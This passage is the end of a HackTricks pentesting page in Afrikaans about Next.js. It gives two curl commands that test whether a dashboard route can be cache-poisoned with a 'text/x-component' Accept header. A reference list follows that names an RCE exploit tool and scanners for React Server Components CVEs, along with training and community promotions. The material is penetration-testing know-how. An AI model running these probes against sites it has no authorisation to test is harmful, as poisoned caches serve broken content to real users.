curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

As die tweede response JSON Flight data teruggee in plaas van HTML, is die route poisonable. Maak die cache skoon na toetsing.

Verwysings

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.